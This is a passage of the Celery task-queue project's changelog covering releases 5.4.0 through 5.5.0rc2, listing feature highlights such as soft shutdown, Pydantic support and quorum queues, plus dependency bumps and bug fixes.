1467 For more info, see the new pydantic example and PR `#9023 <https://github.com/celery/celery/pull/9023>`_ by @mathiasertl.
1468
1469 After upgrading to this version, please share your feedback on the new Pydantic support.
1470
1471 Redis Broker Stability Improvements
1472 -----------------------------------
1473 The root cause of the Redis broker instability issue has been `identified and resolved <https://github.com/celery/kombu/pull/2007>`_
1474 in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
1475
1476 After upgrading to this version, please share your feedback on the Redis broker stability.
1477
1478 Relevant Issues:
1479 `#7276 <https://github.com/celery/celery/discussions/7276>`_,
1480 `#8091 <https://github.com/celery/celery/discussions/8091>`_,
1481 `#8030 <https://github.com/celery/celery/discussions/8030>`_,
1482 `#8384 <https://github.com/celery/celery/discussions/8384>`_
1483
1484 Quorum Queues Initial Support
1485 -----------------------------
1486 This release introduces the initial support for Quorum Queues with Celery.
1487
1488 See new configuration options for more details:
1489
1490 - :setting:`task_default_queue_type`
1491 - :setting:`worker_detect_quorum_queues`
1492
1493 After upgrading to this version, please share your feedback on the Quorum Queues support.
1494
1495 Relevant Issues:
1496 `#6067 <https://github.com/celery/celery/discussions/6067>`_,
1497 `#9121 <https://github.com/celery/celery/discussions/9121>`_
1498
1499 What's Changed
1500 ~~~~~~~~~~~~~~
1501
1502 - Fix: Treat dbm.error as a corrupted schedule file (#9331)
1503 - Pin pre-commit to latest version 4.0.1 (#9343)
1504 - Added Python 3.13 to Dockerfiles (#9350)
1505 - Skip test_pool_restart_import_modules on PyPy due to test issue (#9352)
1506 - Update elastic-transport requirement from <=8.15.0 to <=8.15.1 (#9347)
1507 - added dragonfly logo (#9353)
1508 - Update README.rst (#9354)
1509 - Update README.rst (#9355)
1510 - Update mypy to 1.12.0 (#9356)
1511 - Bump Kombu to v5.5.0rc1 (#9357)
1512 - Fix `celery --loader` option parsing (#9361)
1513 - Add support for Google Pub/Sub transport (#9351)
1514 - Add native incr support for GCSBackend (#9302)
1515 - fix(perform_pending_operations): prevent task duplication on shutdown… (#9348)
1516 - Update grpcio to 1.67.0 (#9365)
1517 - Update google-cloud-firestore to 2.19.0 (#9364)
1518 - Annotate celery/utils/timer2.py (#9362)
1519 - Update cryptography to 43.0.3 (#9366)
1520 - Update mypy to 1.12.1 (#9368)
1521 - Bump mypy from 1.12.1 to 1.13.0 (#9373)
1522 - Pass timeout and confirm_timeout to producer.publish() (#9374)
1523 - Bump Kombu to v5.5.0rc2 (#9382)
1524 - Bump pytest-cov from 5.0.0 to 6.0.0 (#9388)
1525 - default strict to False for pydantic tasks (#9393)
1526 - Only log that global QoS is disabled if using amqp (#9395)
1527 - chore: update sponsorship logo (#9398)
1528 - Allow custom hostname for celery_worker in celery.contrib.pytest / celery.contrib.testing.worker (#9405)
1529 - Removed docker-docs from CI (optional job, malfunctioning) (#9406)
1530 - Added a utility to format changelogs from the auto-generated GitHub release notes (#9408)
1531 - Bump codecov/codecov-action from 4 to 5 (#9412)
1532 - Update elasticsearch requirement from <=8.15.1 to <=8.16.0 (#9410)
1533 - Native Delayed Delivery in RabbitMQ (#9207)
1534 - Prepare for (pre) release: v5.5.0rc2 (#9416)
1535
1536 .. _version-5.5.0rc1:
1537
1538 5.5.0rc1
1539 ========
1540
1541 :release-date: 2024-10-08
1542 :release-by: Tomer Nosrati
1543
1544 Celery v5.5.0 Release Candidate 1 is now available for testing.
1545 Please help us test this version and report any issues.
1546
1547 Key Highlights
1548 ~~~~~~~~~~~~~~
1549
1550 See :ref:`whatsnew-5.5` or read the main highlights below.
1551
1552 Python 3.13 Initial Support
1553 ---------------------------
1554
1555 This release introduces the initial support for Python 3.13 with Celery.
1556
1557 After upgrading to this version, please share your feedback on the Python 3.13 support.
1558
1559 Soft Shutdown
1560 -------------
1561
1562 The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown.
1563 It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running.
1564 After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
1565
1566 The soft shutdown is disabled by default, and can be enabled by setting the new configuration option :setting:`worker_soft_shutdown_timeout`.
1567 If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown
1568 unless the new configuration option :setting:`worker_enable_soft_shutdown_on_idle` is set to True. This is useful for workers
1569 that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
1570
1571 The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like :ref:`Redis <broker-redis>`
1572 or :ref:`SQS <broker-sqs>`, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not
1573 completed (e.g., ``Restoring 1 unacknowledged message(s)``) by resetting the visibility timeout of the unacknowledged messages just before
1574 the worker exits completely.
1575
1576 After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
1577
1578 Relevant Issues:
1579 `#9213 <https://github.com/celery/celery/pull/9213>`_,
1580 `#9231 <https://github.com/celery/celery/pull/9231>`_,
1581 `#9238 <https://github.com/celery/celery/pull/9238>`_
1582
1583 - New :ref:`documentation <worker-stopping>` for each shutdown type.
1584 - New :setting:`worker_soft_shutdown_timeout` configuration option.
1585 - New :setting:`worker_enable_soft_shutdown_on_idle` configuration option.
1586
1587 REMAP_SIGTERM
1588 -------------
1589
1590 The ``REMAP_SIGTERM`` "hidden feature" has been tested, :ref:`documented <worker-REMAP_SIGTERM>` and is now officially supported.
1591 This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using :sig:`TERM`
1592 instead of :sig:`QUIT`.
1593
1594 Pydantic Support
1595 ----------------
1596
1597 This release introduces support for Pydantic models in Celery tasks.
1598 For more info, see the new pydantic example and PR `#9023 <https://github.com/celery/celery/pull/9023>`_ by @mathiasertl.
1599
1600 After upgrading to this version, please share your feedback on the new Pydantic support.
1601
1602 Redis Broker Stability Improvements
1603 -----------------------------------
1604 The root cause of the Redis broker instability issue has been `identified and resolved <https://github.com/celery/kombu/pull/2007>`_
1605 in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
1606
1607 After upgrading to this version, please share your feedback on the Redis broker stability.
1608
1609 Relevant Issues:
1610 `#7276 <https://github.com/celery/celery/discussions/7276>`_,
1611 `#8091 <https://github.com/celery/celery/discussions/8091>`_,
1612 `#8030 <https://github.com/celery/celery/discussions/8030>`_,
1613 `#8384 <https://github.com/celery/celery/discussions/8384>`_
1614
1615 Quorum Queues Initial Support
1616 -----------------------------
1617 This release introduces the initial support for Quorum Queues with Celery.
1618
1619 See new configuration options for more details:
1620
1621 - :setting:`task_default_queue_type`
1622 - :setting:`worker_detect_quorum_queues`
1623
1624 After upgrading to this version, please share your feedback on the Quorum Queues support.
1625
1626 Relevant Issues:
1627 `#6067 <https://github.com/celery/celery/discussions/6067>`_,
1628 `#9121 <https://github.com/celery/celery/discussions/9121>`_
1629
1630 What's Changed
1631 ~~~~~~~~~~~~~~
1632
1633 - Added Blacksmith.sh to the Sponsors section in the README (#9323)
1634 - Revert "Added Blacksmith.sh to the Sponsors section in the README" (#9324)
1635 - Added Blacksmith.sh to the Sponsors section in the README (#9325)
1636 - Added missing " |oc-sponsor-3|” in README (#9326)
1637 - Use Blacksmith SVG logo (#9327)
1638 - Updated Blacksmith SVG logo (#9328)
1639 - Revert "Updated Blacksmith SVG logo" (#9329)
1640 - Update pymongo to 4.10.0 (#9330)
1641 - Update pymongo to 4.10.1 (#9332)
1642 - Update user guide to recommend delay_on_commit (#9333)
1643 - Pin pre-commit to latest version 4.0.0 (Python 3.9+) (#9334)
1644 - Update ephem to 4.1.6 (#9336)
1645 - Updated Blacksmith SVG logo (#9337)
1646 - Prepare for (pre) release: v5.5.0rc1 (#9341)
1647
1648 .. _version-5.5.0b4:
1649
1650 5.5.0b4
1651 =======
1652
1653 :release-date: 2024-09-30
1654 :release-by: Tomer Nosrati
1655
1656 Celery v5.5.0 Beta 4 is now available for testing.
1657 Please help us test this version and report any issues.
1658
1659 Key Highlights
1660 ~~~~~~~~~~~~~~
1661
1662 Python 3.13 Initial Support
1663 ---------------------------
1664
1665 This release introduces the initial support for Python 3.13 with Celery.
1666
1667 After upgrading to this version, please share your feedback on the Python 3.13 support.
1668
1669 Previous Pre-release Highlights
1670 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1671
1672 Soft Shutdown
1673 -------------
1674
1675 The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown.
1676 It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running.
1677 After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
1678
1679 The soft shutdown is disabled by default, and can be enabled by setting the new configuration option :setting:`worker_soft_shutdown_timeout`.
1680 If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown
1681 unless the new configuration option :setting:`worker_enable_soft_shutdown_on_idle` is set to True. This is useful for workers
1682 that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
1683
1684 The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like :ref:`Redis <broker-redis>`
1685 or :ref:`SQS <broker-sqs>`, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not
1686 completed (e.g., ``Restoring 1 unacknowledged message(s)``) by resetting the visibility timeout of the unacknowledged messages just before
1687 the worker exits completely.
1688
1689 After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
1690
1691 Relevant Issues:
1692 `#9213 <https://github.com/celery/celery/pull/9213>`_,
1693 `#9231 <https://github.com/celery/celery/pull/9231>`_,
1694 `#9238 <https://github.com/celery/celery/pull/9238>`_
1695
1696 - New :ref:`documentation <worker-stopping>` for each shutdown type.
1697 - New :setting:`worker_soft_shutdown_timeout` configuration option.
1698 - New :setting:`worker_enable_soft_shutdown_on_idle` configuration option.
1699
1700 REMAP_SIGTERM
1701 -------------
1702
1703 The ``REMAP_SIGTERM`` "hidden feature" has been tested, :ref:`documented <worker-REMAP_SIGTERM>` and is now officially supported.
1704 This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using :sig:`TERM`
1705 instead of :sig:`QUIT`.
1706
1707 Pydantic Support
1708 ----------------
1709
1710 This release introduces support for Pydantic models in Celery tasks.
1711 For more info, see the new pydantic example and PR `#9023 <https://github.com/celery/celery/pull/9023>`_ by @mathiasertl.
1712
1713 After upgrading to this version, please share your feedback on the new Pydantic support.
1714
1715 Redis Broker Stability Improvements
1716 -----------------------------------
1717 The root cause of the Redis broker instability issue has been `identified and resolved <https://github.com/celery/kombu/pull/2007>`_
1718 in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
1719
1720 After upgrading to this version, please share your feedback on the Redis broker stability.
1721
1722 Relevant Issues:
1723 `#7276 <https://github.com/celery/celery/discussions/7276>`_,
1724 `#8091 <https://github.com/celery/celery/discussions/8091>`_,
1725 `#8030 <https://github.com/celery/celery/discussions/8030>`_,
1726 `#8384 <https://github.com/celery/celery/discussions/8384>`_
1727
1728 Quorum Queues Initial Support
1729 -----------------------------
1730 This release introduces the initial support for Quorum Queues with Celery.
1731
1732 See new configuration options for more details:
1733
1734 - :setting:`task_default_queue_type`
1735 - :setting:`worker_detect_quorum_queues`
1736
1737 After upgrading to this version, please share your feedback on the Quorum Queues support.
1738
1739 Relevant Issues:
1740 `#6067 <https://github.com/celery/celery/discussions/6067>`_,
1741 `#9121 <https://github.com/celery/celery/discussions/9121>`_
1742
1743 What's Changed
1744 ~~~~~~~~~~~~~~
1745
1746 - Correct the error description in exception message when validate soft_time_limit (#9246)
1747 - Update msgpack to 1.1.0 (#9249)
1748 - chore(utils/time.py): rename `_is_ambigious` -> `_is_ambiguous` (#9248)
1749 - Reduced Smoke Tests to min/max supported python (3.8/3.12) (#9252)
1750 - Update pytest to 8.3.3 (#9253)
1751 - Update elasticsearch requirement from <=8.15.0 to <=8.15.1 (#9255)
1752 - Update mongodb without deprecated `[srv]` extra requirement (#9258)
1753 - blacksmith.sh: Migrate workflows to Blacksmith (#9261)
1754 - Fixes #9119: inject dispatch_uid for retry-wrapped receivers (#9247)
1755 - Run all smoke tests CI jobs together (#9263)
1756 - Improve documentation on visibility timeout (#9264)
1757 - Bump pytest-celery to 1.1.2 (#9267)
1758 - Added missing "app.conf.visibility_timeout" in smoke tests (#9266)
1759 - Improved stability with t/smoke/tests/test_consumer.py (#9268)
1760 - Improved Redis container stability in the smoke tests (#9271)
1761 - Disabled EXHAUST_MEMORY tests in Smoke-tasks (#9272)
1762 - Marked xfail for test_reducing_prefetch_count with Redis - flaky test (#9273)
1763 - Fixed pypy unit tests random failures in the CI (#9275)
1764 - Fixed more pypy unit tests random failures in the CI (#9278)
1765 - Fix Redis container from aborting randomly (#9276)
1766 - Run Integration & Smoke CI tests together after unit tests pass (#9280)
1767 - Added "loglevel verbose" to Redis containers in smoke tests (#9282)
1768 - Fixed Redis error in the smoke tests: "Possible SECURITY ATTACK detected" (#9284)
1769 - Refactored the smoke tests github workflow (#9285)
1770 - Increased --reruns 3->4 in smoke tests (#9286)
1771 - Improve stability of smoke tests (CI and Local) (#9287)
1772 - Fixed Smoke tests CI "test-case" labels (specific instead of general) (#9288)
1773 - Use assert_log_exists instead of wait_for_log in worker smoke tests (#9290)
1774 - Optimized t/smoke/tests/test_worker.py (#9291)
1775 - Enable smoke tests dockers check before each test starts (#9292)
1776 - Relaxed smoke tests flaky tests mechanism (#9293)
1777 - Updated quorum queue detection to handle multiple broker instances (#9294)
1778 - Non-lazy table creation for database backend (#9228)
1779 - Pin pymongo to latest version 4.9 (#9297)
1780 - Bump pymongo from 4.9 to 4.9.1 (#9298)
1781 - Bump Kombu to v5.4.2 (#9304)
1782 - Use rabbitmq:3 in stamping smoke tests (#9307)
1783 - Bump pytest-celery to 1.1.3 (#9308)
1784 - Added Python 3.13 Support (#9309)
1785 - Add log when global qos is disabled (#9296)
1786 - Added official release docs (whatsnew) for v5.5 (#9312)
1787 - Enable Codespell autofix (#9313)
1788 - Pydantic typehints: Fix optional, allow generics (#9319)
1789 - Prepare for (pre) release: v5.5.0b4 (#9322)
1790
1791 .. _version-5.5.0b3:
1792
1793 5.5.0b3
1794 =======
1795
1796 :release-date: 2024-09-08
1797 :release-by: Tomer Nosrati
1798
1799 Celery v5.5.0 Beta 3 is now available for testing.
1800 Please help us test this version and report any issues.
1801
1802 Key Highlights
1803 ~~~~~~~~~~~~~~
1804
1805 Soft Shutdown
1806 -------------
1807
1808 The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown.
1809 It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running.
1810 After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
1811
1812 The soft shutdown is disabled by default, and can be enabled by setting the new configuration option :setting:`worker_soft_shutdown_timeout`.
1813 If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown
1814 unless the new configuration option :setting:`worker_enable_soft_shutdown_on_idle` is set to True. This is useful for workers
1815 that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
1816
1817 The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like :ref:`Redis <broker-redis>`
1818 or :ref:`SQS <broker-sqs>`, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not
1819 completed (e.g., ``Restoring 1 unacknowledged message(s)``) by resetting the visibility timeout of the unacknowledged messages just before
1820 the worker exits completely.
1821
1822 After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
1823
1824 Relevant Issues:
1825 `#9213 <https://github.com/celery/celery/pull/9213>`_,
1826 `#9231 <https://github.com/celery/celery/pull/9231>`_,
1827 `#9238 <https://github.com/celery/celery/pull/9238>`_
1828
1829 - New :ref:`documentation <worker-stopping>` for each shutdown type.
1830 - New :setting:`worker_soft_shutdown_timeout` configuration option.
1831 - New :setting:`worker_enable_soft_shutdown_on_idle` configuration option.
1832
1833 REMAP_SIGTERM
1834 -------------
1835
1836 The ``REMAP_SIGTERM`` "hidden feature" has been tested, :ref:`documented <worker-REMAP_SIGTERM>` and is now officially supported.
1837 This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using :sig:`TERM`
1838 instead of :sig:`QUIT`.
1839
1840 Previous Pre-release Highlights
1841 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1842
1843 Pydantic Support
1844 ----------------
1845
1846 This release introduces support for Pydantic models in Celery tasks.
1847 For more info, see the new pydantic example and PR `#9023 <https://github.com/celery/celery/pull/9023>`_ by @mathiasertl.
1848
1849 After upgrading to this version, please share your feedback on the new Pydantic support.
1850
1851 Redis Broker Stability Improvements
1852 -----------------------------------
1853 The root cause of the Redis broker instability issue has been `identified and resolved <https://github.com/celery/kombu/pull/2007>`_
1854 in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
1855
1856 After upgrading to this version, please share your feedback on the Redis broker stability.
1857
1858 Relevant Issues:
1859 `#7276 <https://github.com/celery/celery/discussions/7276>`_,
1860 `#8091 <https://github.com/celery/celery/discussions/8091>`_,
1861 `#8030 <https://github.com/celery/celery/discussions/8030>`_,
1862 `#8384 <https://github.com/celery/celery/discussions/8384>`_
1863
1864 Quorum Queues Initial Support
1865 -----------------------------
1866 This release introduces the initial support for Quorum Queues with Celery.
1867
1868 See new configuration options for more details:
1869
1870 - :setting:`task_default_queue_type`
1871 - :setting:`worker_detect_quorum_queues`
1872
1873 After upgrading to this version, please share your feedback on the Quorum Queues support.
1874
1875 Relevant Issues:
1876 `#6067 <https://github.com/celery/celery/discussions/6067>`_,
1877 `#9121 <https://github.com/celery/celery/discussions/9121>`_
1878
1879 What's Changed
1880 ~~~~~~~~~~~~~~
1881
1882 - Added SQS (localstack) broker to canvas smoke tests (#9179)
1883 - Pin elastic-transport to <= latest version 8.15.0 (#9182)
1884 - Update elasticsearch requirement from <=8.14.0 to <=8.15.0 (#9186)
1885 - Improve formatting (#9188)
1886 - Add basic helm chart for celery (#9181)
1887 - Update kafka.rst (#9194)
1888 - Update pytest-order to 1.3.0 (#9198)
1889 - Update mypy to 1.11.2 (#9206)
1890 - All added to routes (#9204)
1891 - Fix typos discovered by codespell (#9212)
1892 - Use tzdata extras with zoneinfo backports (#8286)
1893 - Use `docker compose` in Contributing's doc build section (#9219)
1894 - Failing test for issue #9119 (#9215)
1895 - Fix date_done timezone issue (#8385)
1896 - CI Fixes to smoke tests (#9223)
1897 - Fix: passes current request context when pushing to request_stack (#9208)
1898 - Fix broken link in the Using RabbitMQ docs page (#9226)
1899 - Added Soft Shutdown Mechanism (#9213)
1900 - Added worker_enable_soft_shutdown_on_idle (#9231)
1901 - Bump cryptography from 43.0.0 to 43.0.1 (#9233)
1902 - Added docs regarding the relevancy of soft shutdown and ETA tasks (#9238)
1903 - Show broker_connection_retry_on_startup warning only if it evaluates as False (#9227)
1904 - Fixed docker-docs CI failure (#9240)
1905 - Added docker cleanup auto-fixture to improve smoke tests stability (#9243)
1906 - print is not thread-safe, so should not be used in signal handler (#9222)
1907 - Prepare for (pre) release: v5.5.0b3 (#9244)
1908
1909 .. _version-5.5.0b2:
1910
1911 5.5.0b2
1912 =======
1913
1914 :release-date: 2024-08-06
1915 :release-by: Tomer Nosrati
1916
1917 Celery v5.5.0 Beta 2 is now available for testing.
1918 Please help us test this version and report any issues.
1919
1920 Key Highlights
1921 ~~~~~~~~~~~~~~
1922
1923 Pydantic Support
1924 ----------------
1925
1926 This release introduces support for Pydantic models in Celery tasks.
1927 For more info, see the new pydantic example and PR `#9023 <https://github.com/celery/celery/pull/9023>`_ by @mathiasertl.
1928
1929 After upgrading to this version, please share your feedback on the new Pydantic support.
1930
1931 Previous Beta Highlights
1932 ~~~~~~~~~~~~~~~~~~~~~~~~
1933
1934 Redis Broker Stability Improvements
1935 -----------------------------------
1936 The root cause of the Redis broker instability issue has been `identified and resolved <https://github.com/celery/kombu/pull/2007>`_
1937 in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
1938
1939 After upgrading to this version, please share your feedback on the Redis broker stability.
1940
1941 Relevant Issues:
1942 `#7276 <https://github.com/celery/celery/discussions/7276>`_,
1943 `#8091 <https://github.com/celery/celery/discussions/8091>`_,
1944 `#8030 <https://github.com/celery/celery/discussions/8030>`_,
1945 `#8384 <https://github.com/celery/celery/discussions/8384>`_
1946
1947 Quorum Queues Initial Support
1948 -----------------------------
1949 This release introduces the initial support for Quorum Queues with Celery.
1950
1951 See new configuration options for more details:
1952
1953 - :setting:`task_default_queue_type`
1954 - :setting:`worker_detect_quorum_queues`
1955
1956 After upgrading to this version, please share your feedback on the Quorum Queues support.
1957
1958 Relevant Issues:
1959 `#6067 <https://github.com/celery/celery/discussions/6067>`_,
1960 `#9121 <https://github.com/celery/celery/discussions/9121>`_
1961
1962 What's Changed
1963 ~~~~~~~~~~~~~~
1964
1965 - Bump pytest from 8.3.1 to 8.3.2 (#9153)
1966 - Remove setuptools deprecated test command from setup.py (#9159)
1967 - Pin pre-commit to latest version 3.8.0 from Python 3.9 (#9156)
1968 - Bump mypy from 1.11.0 to 1.11.1 (#9164)
1969 - Change "docker-compose" to "docker compose" in Makefile (#9169)
1970 - update python versions and docker compose (#9171)
1971 - Add support for Pydantic model validation/serialization (fixes #8751) (#9023)
1972 - Allow local dynamodb to be installed on another host than localhost (#8965)
1973 - Terminate job implementation for gevent concurrency backend (#9083)
1974 - Bump Kombu to v5.4.0 (#9177)
1975 - Add check for soft_time_limit and time_limit values (#9173)
1976 - Prepare for (pre) release: v5.5.0b2 (#9178)
1977
1978 .. _version-5.5.0b1:
1979
1980 5.5.0b1
1981 =======
1982
1983 :release-date: 2024-07-24
1984 :release-by: Tomer Nosrati
1985
1986 Celery v5.5.0 Beta 1 is now available for testing.
1987 Please help us test this version and report any issues.
1988
1989 Key Highlights
1990 ~~~~~~~~~~~~~~
1991
1992 Redis Broker Stability Improvements
1993 -----------------------------------
1994 The root cause of the Redis broker instability issue has been `identified and resolved <https://github.com/celery/kombu/pull/2007>`_
1995 in the release-candidate for Kombu v5.4.0. This beta release has been upgraded to use the new
1996 Kombu RC version, which should resolve the disconnections bug and offer additional improvements.
1997
1998 After upgrading to this version, please share your feedback on the Redis broker stability.
1999
2000 Relevant Issues:
2001 `#7276 <https://github.com/celery/celery/discussions/7276>`_,
2002 `#8091 <https://github.com/celery/celery/discussions/8091>`_,
2003 `#8030 <https://github.com/celery/celery/discussions/8030>`_,
2004 `#8384 <https://github.com/celery/celery/discussions/8384>`_
2005
2006 Quorum Queues Initial Support
2007 -----------------------------
2008 This release introduces the initial support for Quorum Queues with Celery.
2009
2010 See new configuration options for more details:
2011
2012 - :setting:`task_default_queue_type`
2013 - :setting:`worker_detect_quorum_queues`
2014
2015 After upgrading to this version, please share your feedback on the Quorum Queues support.
2016
2017 Relevant Issues:
2018 `#6067 <https://github.com/celery/celery/discussions/6067>`_,
2019 `#9121 <https://github.com/celery/celery/discussions/9121>`_
2020
2021 What's Changed
2022 ~~~~~~~~~~~~~~
2023
2024 - (docs): use correct version celery v.5.4.x (#8975)
2025 - Update mypy to 1.10.0 (#8977)
2026 - Limit pymongo<4.7 when Python <= 3.10 due to breaking changes in 4.7 (#8988)
2027 - Bump pytest from 8.1.1 to 8.2.0 (#8987)
2028 - Update README to Include FastAPI in Framework Integration Section (#8978)
2029 - Clarify return values of ..._on_commit methods (#8984)
2030 - add kafka broker docs (#8935)
2031 - Limit pymongo<4.7 regardless of Python version (#8999)
2032 - Update pymongo[srv] requirement from <4.7,>=4.0.2 to >=4.0.2,<4.8 (#9000)
2033 - Update elasticsearch requirement from <=8.13.0 to <=8.13.1 (#9004)
2034 - security: SecureSerializer: support generic low-level serializers (#8982)
2035 - don't kill if pid same as file (#8997) (#8998)
2036 - Update cryptography to 42.0.6 (#9005)
2037 - Bump cryptography from 42.0.6 to 42.0.7 (#9009)
2038 - Added -vv to unit, integration and smoke tests (#9014)
2039 - SecuritySerializer: ensure pack separator will not be conflicted with serialized fields (#9010)
2040 - Update sphinx-click to 5.2.2 (#9025)
2041 - Bump sphinx-click from 5.2.2 to 6.0.0 (#9029)
2042 - Fix a typo to display the help message in first-steps-with-django (#9036)
2043 - Pinned requests to v2.31.0 due to docker-py bug #3256 (#9039)
2044 - Fix certificate validity check (#9037)
2045 - Revert "Pinned requests to v2.31.0 due to docker-py bug #3256" (#9043)
2046 - Bump pytest from 8.2.0 to 8.2.1 (#9035)
2047 - Update elasticsearch requirement from <=8.13.1 to <=8.13.2 (#9045)
2048 - Fix detection of custom task set as class attribute with Django (#9038)
2049 - Update elastic-transport requirement from <=8.13.0 to <=8.13.1 (#9050)
2050 - Bump pycouchdb from 1.14.2 to 1.16.0 (#9052)
2051 - Update pytest to 8.2.2 (#9060)
2052 - Bump cryptography from 42.0.7 to 42.0.8 (#9061)
2053 - Update elasticsearch requirement from <=8.13.2 to <=8.14.0 (#9069)
2054 - [enhance feature] Crontab schedule: allow using month names (#9068)
2055 - Enhance tox environment: [testenv:clean] (#9072)
2056 - Clarify docs about Reserve one task at a time (#9073)
2057 - GCS docs fixes (#9075)
2058 - Use hub.remove_writer instead of hub.remove for write fds (#4185) (#9055)
2059 - Class method to process crontab string (#9079)
2060 - Fixed smoke tests env bug when using integration tasks that rely on Redis (#9090)
2061 - Bugfix - a task will run multiple times when chaining chains with groups (#9021)
2062 - Bump mypy from 1.10.0 to 1.10.1 (#9096)
2063 - Don't add a separator to global_keyprefix if it already has one (#9080)
2064 - Update pymongo[srv] requirement from <4.8,>=4.0.2 to >=4.0.2,<4.9 (#9111)
2065 - Added missing import in examples for Django (#9099)
2066 - Bump Kombu to v5.4.0rc1 (#9117)
2067 - Removed skipping Redis in t/smoke/tests/test_consumer.py tests (#9118)
2068 - Update pytest-subtests to 0.13.0 (#9120)
2069 - Increased smoke tests CI timeout (#9122)
2070 - Bump Kombu to v5.4.0rc2 (#9127)
2071 - Update zstandard to 0.23.0 (#9129)
2072 - Update pytest-subtests to 0.13.1 (#9130)
2073 - Changed retry to tenacity in smoke tests (#9133)
2074 - Bump mypy from 1.10.1 to 1.11.0 (#9135)
2075 - Update cryptography to 43.0.0 (#9138)
2076 - Update pytest to 8.3.1 (#9137)
2077 - Added support for Quorum Queues (#9121)
2078 - Bump Kombu to v5.4.0rc3 (#9139)
2079 - Cleanup in Changelog.rst (#9141)
2080 - Update Django docs for CELERY_CACHE_BACKEND (#9143)
2081 - Added missing docs to previous releases (#9144)
2082 - Fixed a few documentation build warnings (#9145)
2083 - docs(README): link invalid (#9148)
2084 - Prepare for (pre) release: v5.5.0b1 (#9146)
2085
2086 .. _version-5.4.0:
2087
2088 5.4.0
2089 =====
2090
2091 :release-date: 2024-04-17
2092 :release-by: Tomer Nosrati
2093
2094 Celery v5.4.0 and v5.3.x have consistently focused on enhancing the overall QA, both internally and externally.
2095 This effort led to the new pytest-celery v1.0.0 release, developed concurrently with v5.3.0 & v5.4.0.
2096
2097 This release introduces two significant QA enhancements:
2098
2099 - **Smoke Tests**: A new layer of automatic tests has been added to Celery's standard CI. These tests are designed to handle production scenarios and complex conditions efficiently. While new contributions will not be halted due to the lack of smoke tests, we will request smoke tests for advanced changes where appropriate.
2100 - `Standalone Bug Report Script <https://docs.celeryq.dev/projects/pytest-celery/en/latest/userguide/celery-bug-report.html>`_: The new pytest-celery plugin now allows for encapsulating a complete Celery dockerized setup within a single pytest script. Incorporating these into new bug reports will enable us to reproduce reported bugs deterministically, potentially speeding up the resolution process.
2101
2102 Contrary to the positive developments above, there have been numerous reports about issues with the Redis broker malfunctioning
2103 upon restarts and disconnections. Our initial attempts to resolve this were not successful (#8796).
2104 With our enhanced QA capabilities, we are now prepared to address the core issue with Redis (as a broker) again.
2105
2106 The rest of the changes for this release are grouped below, with the changes from the latest release candidate listed at the end.
2107
2108 Changes
2109 ~~~~~~~
2110 - Add a Task class specialised for Django (#8491)
2111 - Add Google Cloud Storage (GCS) backend (#8868)
2112 - Added documentation to the smoke tests infra (#8970)
2113 - Added a checklist item for using pytest-celery in a bug report (#8971)
2114 - Bugfix: Missing id on chain (#8798)
2115 - Bugfix: Worker not consuming tasks after Redis broker restart (#8796)
2116 - Catch UnicodeDecodeError when opening corrupt beat-schedule.db (#8806)
2117 - chore(ci): Enhance CI with `workflow_dispatch` for targeted debugging and testing (#8826)
2118 - Doc: Enhance "Testing with Celery" section (#8955)
2119 - Docfix: pip install celery[sqs] -> pip install "celery[sqs]" (#8829)
2120 - Enable efficient `chord` when using dynamicdb as backend store (#8783)
2121 - feat(daemon): allows daemonization options to be fetched from app settings (#8553)
2122 - Fix DeprecationWarning: datetime.datetime.utcnow() (#8726)
2123 - Fix recursive result parents on group in middle of chain (#8903)
2124 - Fix typos and grammar (#8915)
2125 - Fixed version documentation tag from #8553 in configuration.rst (#8802)
2126 - Hotfix: Smoke tests didn't allow customizing the worker's command arguments, now it does (#8937)
2127 - Make custom remote control commands available in CLI (#8489)
2128 - Print safe_say() to stdout for non-error flows (#8919)
2129 - Support moto 5.0 (#8838)
2130 - Update contributing guide to use ssh upstream url (#8881)
2131 - Update optimizing.rst (#8945)
2132 - Updated concurrency docs page. (#8753)
2133
2134 Dependencies Updates
2135 ~~~~~~~~~~~~~~~~~~~~
2136 - Bump actions/setup-python from 4 to 5 (#8701)
2137 - Bump codecov/codecov-action from 3 to 4 (#8831)
2138 - Bump isort from 5.12.0 to 5.13.2 (#8772)
2139 - Bump msgpack from 1.0.7 to 1.0.8 (#8885)
2140 - Bump mypy from 1.8.0 to 1.9.0 (#8898)
